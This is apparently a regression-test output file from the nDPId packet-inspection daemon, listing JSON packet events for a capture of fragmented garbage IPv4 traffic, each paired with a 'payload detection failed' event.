+00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259061,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259078,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259099,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4965,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4966,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4967,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4968,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4969,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259144,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4970,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4971,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4972,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4973,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259210,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4974,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259219,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4975,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259226,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4976,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4977,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4978,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4979,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4980,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4981,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4982,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4983,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259311,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259346,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259371,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259378,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259418,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259430,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 